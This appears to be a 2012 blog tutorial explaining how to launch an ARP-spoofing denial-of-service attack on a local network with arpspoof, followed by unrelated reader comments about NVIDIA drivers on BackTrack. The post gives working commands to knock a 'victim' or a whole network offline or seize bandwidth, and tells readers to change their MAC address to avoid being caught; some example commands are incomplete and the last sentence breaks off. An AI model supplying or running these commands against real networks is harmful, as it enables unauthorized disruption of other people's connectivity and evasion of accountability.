Feb 18, 2012

[Tutorial] DoS Attack On A Network.

Denail Of Service (DoS) attack is an effective way to block traffic from your target pc or whole network.
You can use DoS attack to stop your victim from browsing the internet. Or maybe you can DoS his/them to gain all the bandwidth in your network without disconnecting other users.

DoS Attack in a LAN is very simple in Linux (BackTrack).

Just fire up your terminal and type:

arpspoof -i <your_interface_name> <your_gateway;router_ip>

eg: arpspoof -i wlan0

This command will DoS the whole network without disconnecting the users, but you will still be able to browse without any side-effects.

If you want to give them access again, just ip forward from your machine:

echo 1 > /proc/sys/net/ipv4/ip_forward

And, if you want to just attack one victim, the commands would be:

arpspoof -i <interface_name> -t <target_pc> <gateway>
arpspoof -i <interface_name> -t <gateway> <target_pc>
arpspoof -i wlan0 -t
arpspoof -i wlan0 -t

Enter the command in two separate tabs.
And again,

echo 1 > /proc/sys/net/ipv4/ip_forward

to disable DoS.

So, enjoy people. But dont forget to change your mac address and let them access internet from time to time, else they may maintain the


  1. Good Job. Keep doing good work.



  2. Hello,

    I need your help. If you can be so kind to open new topic regarding NVIDIA driver installation under BackTrack 5 R2 64 bit.
    I am trying already two month to solve this problem on my laptop and I don’t know how many different drivers
    and online tutorials I try without any success. Last few days this issue is really frustrate me.
    In my opinion this will be interesting topic, for the reason that lots of people are facing with the same issue.
    If you are willing to help me to install drivers from the scratch please let me know for start which kind of information you need.

    Please let me know your thoughts.


    1. I am sorry to say, but I neither have a NVIDIA card nor have a 64 bit pc. So its not possible for me to try-test-and-write tutorial about it.

      I used to have one 512 mb Nvidia card, it worked good in ubuntu 10.04, but in BT 5 it was a pain.. though I didnt even try to install drivers for it. It used to give a horrible resolution of 1024x768 and was unable to change it to higher resolutions.

    2. OK. No worries. I will try to find another way.

      Keep doing good job with other tutorials.